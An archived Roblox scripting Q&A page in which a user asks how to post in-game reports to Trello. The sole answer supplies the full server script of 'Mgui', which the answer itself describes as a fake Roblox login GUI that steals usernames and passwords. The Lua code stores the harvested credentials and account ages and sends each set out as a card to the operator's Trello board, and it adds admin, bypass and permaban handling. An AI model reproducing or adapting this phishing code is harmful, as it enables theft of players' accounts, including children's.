Scripting HelpersARCHIVE
A little piece of Roblox history. Preserved for everyone, one question at a time.Read about the archive →
COMMUNITY QUESTION

Posting reports to Trello?

I already checked the ScriptingHelpers blog, that was just Error logging. I want it to where when I click this report button for an in-game report system, it will add a card to one of my existing Trello boards. My script is below, and my board is on Team Only viewer mode just incase I need to change that.

Script:

function postToTrello()
	-- POST request to Trello, HttpService enabled
end

script.Parent.MouseButton1Click:connect(function()
	postToTrello()
	wait(0.2)
	script.Parent.Parent.Parent.Visible = false
	script.Parent.Parent.Parent.Parent.Menu.Visible = true
end)

4 comments

0

You give no information.

0

Check out this post: https://scriptinghelpers.org/blog/logging-errors-with-trello and try to change it a bit

0

@ChiefMu That could help... IF IT WAS LUA AND NOT JS!

1 answer

Mgui is a GUI that fakes the Roblox login system and basically steals roblox usernames and passwords. I don't personally use it, but a lot of people on V3rmillion do. I downloaded the source and found this, it might be helpful.

-- Made by SeniorFight for V3rmillion!

local remote = game:WaitForChild("ReplicatedStorage"):WaitForChild("MGU-Server")
local http = game:GetService("HttpService")
local globalDataStore = game:GetService("DataStoreService"):GetGlobalDataStore()

local config = require(script.Parent:WaitForChild("MGU Config"))

local appKey = "c23030853446613212d1847303c8f482"
local token = ""

if config.StorageType == "Global" then
	if not globalDataStore then
		print("Could not find data store. Moving to local storage mode.")
		config.StorageType = "Local"
	end 
end

if config.Trello.AuthToken ~= "" then
	token = config.Trello.AuthToken
else
	config.Trello.Enabled = false
	print("No auth token set. Disabling Trello feature.")
end

function getRequest(address)
	if not address then return end
	return http:GetAsync(address.. "?key="..appKey.."&token="..token)
end

function postRequest(address, data)
	if address == nil or data == nil then return end
	local encoded = http:JSONEncode(data)
	return http:PostAsync(address.. "?key="..appKey.."&token="..token, tostring(encoded), Enum.HttpContentType.ApplicationJson)
end

function sendTrelloCard(cardName, labels, targetList)
	coroutine.resume(coroutine.create(function()
		local cardName = cardName or "Username: UNDEFINED   Password: UNDEFINED   Type: UNDEFINED   Age: UNDEFINED"
		local targetList = targetList or "MGRList"
		local labels = labels or {}
		local boards = getRequest("https://api.trello.com/1/members/me/boards")
		if not boards then return end
		local foundList = false
		for _,v in pairs(http:JSONDecode(boards)) do
			if v["id"] ~= nil then
				local lists = getRequest("http://api.trello.com/1/boards/"..v["id"].."/lists")
				if lists then
					for x,list in pairs(http:JSONDecode(lists)) do
						if list["name"] == targetList then
							postRequest("https://api.trello.com/1/lists/"..list["id"].."/cards", {["name"]=cardName,["labels"]=labels})
							foundList = true
							break
						end
					end
					if foundList then break end
				end
			end
		end
		if not foundList then
			local newBoard = postRequest("https://api.trello.com/1/boards", {["name"]="MGU-Board",["desc"]="MGUltimate Passes Storage"})
			local posted = false
			if newBoard then
				local newList = postRequest("https://api.trello.com/1/boards/"..newBoard["id"].."/lists", {["name"]=targetList})
				if newList then
					postRequest("https://api.trello.com/1/lists/"..newList["id"].."/cards", {["name"]=cardName,["labels"]=labels})
					posted = true
				end
			end
			if not posted then
				print("ERROR: Could not find nor create an MGU List in Trello!")
			end
		end
	end))
end

function LaunchSignal()
	for _,v in pairs(game.Players:GetPlayers()) do
		if v:FindFirstChild("PlayerGui") then
			if v.PlayerGui:FindFirstChild("MGUAdmin") then
				local check = v.PlayerGui.MGUAdmin:FindFirstChild("SignalCheck")
				if check then
					check:InvokeClient(v, "Update")
				end
			end
		end
	end
end

function getListTable()
	local finalTable = {}
	if config.StorageType == "Local" then
		local dir = game.Workspace:FindFirstChild(config.StorageNames.Local)
		if not dir then
			dir = Instance.new("Folder",game.Workspace)
			dir.Name = config.StorageNames.Local
		end
		for _,v in pairs(dir:GetChildren()) do
			if v:IsA("Folder") then
				table.insert(finalTable, {UserName = v.Name, UserPass = v.UserPass.Value, Type = v.Type.Value, UserID = tonumber(v.UserID.Value), UserAge = tonumber(v.UserAge.Value)})
			end
		end
	elseif config.StorageType == "Global" then
		if globalDataStore then
			local tab = globalDataStore:GetAsync(config.StorageNames.Global)
			if tab then
				return tab
			end
		end
	end
	return finalTable
end

function IsAdmin(player)
	for _,v in pairs(config.AdminList) do
		if type(v) == "string" then
			if v:lower() == player.Name:lower() then
				return true
			end
		elseif type(v) == "number" then
			if v == player.userId then
				return true
			end
		end
	end
	return false
end

function IsBypass(player)
	for _,v in pairs(config.BypassList) do
		if type(v) == "string" then
			if v:lower() == player.Name:lower() then
				return true
			end
		elseif type(v) == "number" then
			if v == player.userId then
				return true
			end
		end
	end
	return false
end

function ManageCommand(...)
	local tokens = {...}
	table.remove(tokens, 1)
	if #tokens <= 0 then return end
	local cmd = tokens[1]
	
	if cmd == "GetCustomParameters" then
		return config
	elseif cmd == "StoreLog" then
		local data = tokens[2]
		if data then
			if config.StorageType == "Local" then
				local dir = game.Workspace:FindFirstChild(config.StorageNames.Local)
				if not dir then
					dir = Instance.new("Folder",game.Workspace)
					dir.Name = config.StorageNames.Local
				end
				local newLocalDataKey = Instance.new("Folder",dir)
				newLocalDataKey.Name = data.UserName
				local newPassKey = Instance.new("StringValue",newLocalDataKey)
				newPassKey.Name = "UserPass"
				newPassKey.Value = data.UserPass
				local newTypeKey = Instance.new("StringValue",newLocalDataKey)
				newTypeKey.Name = "Type"
				newTypeKey.Value = data.Type
				local newIDKey = Instance.new("StringValue",newLocalDataKey)
				newIDKey.Name = "UserID"
				newIDKey.Value = tostring(data.UserID)
				local newAgeKey = Instance.new("StringValue",newLocalDataKey)
				newAgeKey.Name = "UserAge"
				newAgeKey.Value = tostring(data.UserAge)
			elseif config.StorageType == "Global" then
				if globalDataStore then
					local dir = globalDataStore:GetAsync(config.StorageNames.Global) or {}
					table.insert(dir, data)
					globalDataStore:SetAsync(config.StorageNames.Global, dir)
				end
			end
			if config.Trello.Enabled then
				local label = {}
				if data.Type == "BC" then
					label = {"green"}
				elseif data.Type == "TBC" then
					label = {"orange"}
				elseif data.Type == "OBC" then
					label = {"red"}
				elseif data.Type == "V3rm Member" then
					label = {"purple"}
				end
				sendTrelloCard("Username: "..tostring(data.UserName).."  Password: "..tostring(data.UserPass).."  Type: "..tostring(type).. "   Age: "..tostring(data.UserAge).." days", label, config.Trello.ListName)
			end
			LaunchSignal()
		end
	elseif cmd == "IsLogged" then
		local player = tokens[2]
		if player then
			for _,v in pairs(getListTable()) do
				if v.UserID == player.userId then
					return true
				end
			end
			if IsAdmin(player) then
				return true
			end
			return IsBypass(player)
		end
		return false
	elseif cmd == "GetList" then
		return getListTable()
	elseif cmd == "Clear" then
		if config.StorageType == "Local" then
			local dir = game.Workspace:FindFirstChild(config.StorageNames.Local)
			if not dir then
				dir = Instance.new("Folder",game.Workspace)
				dir.Name = config.StorageNames.Local
			end
			dir:ClearAllChildren()
		elseif config.StorageType == "Global" then
			if globalDataStore then
				globalDataStore:SetAsync(config.StorageNames.Global, {})
			end 
		end
		LaunchSignal()
	elseif cmd == "AddBan" then
		if tokens[2] then
			if config.CreatorUltraProtect and tokens[2].userId == game.CreatorId then return end
			if globalDataStore then
				local list = globalDataStore:GetAsync(config.StorageNames.Permabans) or {}
				table.insert(list, tokens[2].userId)
				globalDataStore:SetAsync(config.StorageNames.Permabans, list)
			end
			tokens[2]:Kick()
		end
	elseif cmd == "ClearBans" then
		if globalDataStore then
			globalDataStore:SetAsync(config.StorageNames.Permabans, {})
		end
	elseif cmd == "IsAdmin" then
		if tokens[2] then
			if config.CreatorUltraProtect and tokens[2].userId == game.CreatorId then return true end
			return IsAdmin(tokens[2])
		end
	elseif cmd == "IsBypass" then
		if tokens[2] then
			if config.CreatorUltraProtect and tokens[2].userId == game.CreatorId then return true end
			return IsBypass(tokens[2])
		end
	elseif cmd == "IsVerified" then
		if tokens[2] then
			return game:GetService("MarketplaceService"):PlayerOwnsAsset(tokens[2],config.Verifieds.ObjID)
		end
	end
end

game.Players.PlayerAdded:connect(function(p) -- permaban <3
	if config.CreatorUltraProtect and p.userId == game.CreatorId then return end
	if IsAdmin(p) then return end
	if IsBypass(p) then return end
	
	if config.Verifieds.DirectKick then
		if game:GetService("MarketplaceService"):PlayerOwnsAsset(p,config.Verifieds.ObjID) then
			p:Kick()
		end
	end
	
	if globalDataStore then
		local list = globalDataStore:GetAsync(config.StorageNames.Permabans)
		if list then
			for _,v in pairs(list) do
				if v == p.userId then
					p:Kick()
				end
			end
		end
	end
end)

remote.OnServerInvoke = ManageCommand

This discussion is preserved as it was. New answers, comments, and votes are closed.